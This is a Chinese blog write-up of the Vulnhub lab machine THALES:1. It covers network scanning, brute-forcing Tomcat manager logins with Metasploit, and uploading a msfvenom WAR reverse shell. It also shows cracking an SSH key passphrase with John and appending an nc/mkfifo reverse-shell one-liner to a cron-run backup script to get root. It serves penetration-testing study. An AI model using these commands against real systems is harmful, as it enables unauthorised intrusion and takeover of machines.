当前位置:网站首页>【Vulnhub靶场】THALES:1
【Vulnhub靶场】THALES:1
2022-07-07 14:12:00 【Nailaoyyds】
目录
前言
描述
简介:睁开眼,换个角度
包括 2 个标志:user.txt 和 root.txt。
下载链接
https://download.vulnhub.com/thales/Thales.zip.torrent
0x00环境介绍 kali 192.168.56.102 Thales靶机 192.168.56.101
一、信息收集
0x00 arp-scan扫描
arp-scan -I eth1 -l #扫描网卡局域网

0x01 nmap扫描
扫描到两个网段 不确定是哪个 nmap 扫描扫描两个IP

开放端口22和8080

访问站点,发现需要用户名密码

二、漏洞利用
0x00 msfconsole利用
msf搜索tomcat login

配置payload

用户名 tomcat 密码 role1

成功登入
0x01 文件上传

寻找功能点,发现上传点

利用kali生成war文件木马做反弹shell msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.56.102 lport=5555 -f war -o myshell.war
上传成功,并运行

三、权限提升
0x00 反弹shell
监听端口

升级成交互式shell

sudo -l #需要密码,未知 在home文件下发现用户Thales


在`notes.txt`文件中发现`/usr/local/bin/backup.sh 查看文件内容
0x02 字典爆破
发现.ssh文件夹

发现私钥可以用ssh2john.py生成密码文件爆破
用 ssh2john.py 脚本编译一下
/usr/share/john/ssh2john.py id_rsa > crack.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

爆破出密码vodka06
切换用户

0x03 user.txt
查看user.txt---第一个flag

notes.txt是root权限的,里边可能是有东西都

0x04 反弹shell
看到backup.sh是有执行权限的,可以写入反弹shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 666 >/tmp/f" >> backup.sh
文件内容编辑会直接替换,选择用追加

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 9999 >/tmp/f" >> backup.sh
0x05 root.txt
监听9999,写入以后过一会就自己连接了

总结
Thales学到了
msf的爆破字典的使用
rsa私钥密文的利用
边栏推荐
- 95. (cesium chapter) cesium dynamic monomer-3d building (building)
- 企业级日志分析系统ELK
- Laravel constructor and middleware execution order
- torch.numel作用
- Three. JS introduction learning notes 12: the model moves along any trajectory line
- Mysql database backup script
- 2022第四届中国(济南)国际智慧养老产业展览会,山东老博会
- The inevitable trend of the intelligent development of ankerui power grid is that microcomputer protection devices are used in power systems
- MySQL数据库基本操作-DQL-基本查询
- C4D learning notes 1- animation - animation key frames
猜你喜欢

pycharm 终端部启用虚拟环境

Vs tool word highlight with margin

强化实时数据管理,英方软件助力医保平台安全建设

喜讯!科蓝SUNDB数据库与鸿数科技隐私数据保护管理软件完成兼容性适配

Unity3D_ Class fishing project, control the distance between collision walls to adapt to different models

Odoo integrated plausible embedded code monitoring platform

Multiplication in pytorch: mul (), multiply (), matmul (), mm (), MV (), dot ()
![Unity drawing plug-in = = [support the update of the original atlas]](/img/b0/92114ffb1f168a1f27125db46c6797.jpg)
Unity drawing plug-in = = [support the update of the original atlas]

Eye of depth (VII) -- Elementary Transformation of matrix (attachment: explanation of some mathematical models)

Numpy --- basic learning notes
随机推荐
PHP中exit,exit(0),exit(1),exit(‘0’),exit(‘1’),die,return的区别
Apache Doris just "graduated": why should we pay attention to this kind of SQL data warehouse?
Markdown formula editing tutorial
47_ Contour lookup in opencv cv:: findcontours()
模仿企业微信会议室选择
Step by step monitoring platform ZABBIX
安科瑞电网智能化发展的必然趋势电力系统采用微机保护装置是
航運船公司人工智能AI產品成熟化標准化規模應用,全球港航人工智能/集裝箱人工智能領軍者CIMC中集飛瞳,打造國際航運智能化標杆
laravel 是怎么做到运行 composer dump-autoload 不清空 classmap 映射关系的呢?
Performance comparison of tidb for PostgreSQL and yugabytedb on sysbench
Bidding announcement: 2022 Yunnan Unicom gbase database maintenance public comparison and selection project (second) comparison and selection announcement
Three. JS introductory learning notes 07: external model import -c4d to JSON file for web pages -fbx import
Leetcode-136-只出现一次的数(用异或来解答)
MySQL数据库基本操作-DQL-基本查询
Power of leetcode-231-2
You Yuxi, coming!
Shipping companies' AI products are mature, standardized and applied on a large scale. CIMC, the global leader in port and shipping AI / container AI, has built a benchmark for international shipping
融云斩获 2022 中国信创数字化办公门户卓越产品奖!
laravel post提交数据时显示异常
神经网络c语言中的指针是怎么回事

